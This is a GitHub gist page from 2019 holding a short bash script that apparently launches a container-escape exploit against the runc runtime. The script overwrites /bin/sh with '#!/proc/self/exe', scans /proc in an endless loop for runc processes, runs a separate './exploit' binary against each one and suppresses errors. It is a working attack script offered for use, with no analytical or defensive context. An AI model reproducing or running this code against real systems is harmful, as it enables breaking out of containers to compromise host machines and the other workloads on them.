Skip to content

Instantly share code, notes, and snippets.

@johanot
Created February 18, 2019 11:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save johanot/f4f372be34dc3d1384b0d2b2871bd44a to your computer and use it in GitHub Desktop.
Save johanot/f4f372be34dc3d1384b0d2b2871bd44a to your computer and use it in GitHub Desktop.
#!/bin/bash
function pwn() {
echo '#!/proc/self/exe' > /bin/sh
chmod +x /bin/sh
while true; do
for f in /proc/*/exe; do
tmp=${f%/*}
pid=${tmp##*/}
cmdline=$(cat /proc/${pid}/cmdline)
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
echo starting exploit
./exploit /proc/${pid}/exe
fi
done
done
}
exec 2>/dev/null
pwn
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment